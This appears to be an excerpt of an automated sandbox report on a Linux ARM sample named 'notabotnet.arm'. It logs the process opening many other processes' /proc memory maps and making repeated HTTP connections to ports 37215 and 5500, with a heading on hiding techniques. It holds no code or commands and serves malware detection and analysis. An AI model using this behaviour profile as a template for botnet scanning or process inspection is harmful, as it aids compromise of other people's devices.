Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1344/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1465/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1586/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1860/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1463/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2156/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/800/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/801/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1629/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1627/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1900/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/491/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2050/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1877/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/772/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1633/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1599/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1632/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/774/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1477/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/654/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/896/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1476/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1872/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2048/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/655/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1475/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/656/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/777/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/657/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/658/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/419/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/936/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1639/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1638/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1809/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1494/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1890/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2063/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2062/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1888/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1886/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/420/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1489/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/785/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1642/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/788/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/667/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/789/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1648/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2078/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2077/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2074/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/670/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/793/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1656/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1654/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/674/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1532/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/796/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/675/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/797/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/676/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/677/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2069/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2102/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/799/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2080/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2084/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2083/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1668/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1664/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1389/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/720/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2114/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/721/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/1661/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2079/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/847/maps
Source: /tmp/notabotnet.arm (PID: 6243)	File opened: /proc/2097/maps

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47062 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 39106 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 5500 -> 39106
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 33858 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 5500 -> 33858
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 58120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 58120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 58164 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 5500 -> 58164
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53768 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 49526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35806 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 5500 -> 35806
Source: unknown	Network traffic detected: HTTP traffic on port 46710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46296 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 32834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 40872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37240 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 41594 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 34130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 34130
Source: unknown	Network traffic detected: HTTP traffic on port 37240 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37240 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 32874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37240 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 43306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57262 -> 37215
